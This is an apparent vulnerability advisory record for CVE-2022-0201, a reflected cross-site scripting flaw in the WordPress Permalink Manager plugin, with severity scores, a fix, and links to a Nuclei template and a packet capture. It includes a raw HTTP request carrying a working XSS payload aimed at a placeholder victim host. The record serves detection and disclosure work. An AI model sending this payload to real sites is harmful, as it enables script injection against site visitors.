| Title | WordPress Permalink Manager <2.2.15 - Cross-Site Scripting |
|---|---|
| Author | Akincibor |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Update to WordPress Permalink Manager version 2.2.15 or later to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.20086 |
| CVE ID | CVE-2022-0201 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 wp-plugin wpscan xss wordpress permalink_manager_lite_project vuln |
WordPress Permalink Manager Lite and Pro plugins before 2.2.15 contain a reflected cross-site scripting vulnerability. They do not sanitize and escape query parameters before outputting them back in the debug page.
GET /index.php?p=%3Cimg%20src%20onerror=alert(/XSS/)%3E&debug_url=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0201.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0201.pcap
N/AN/A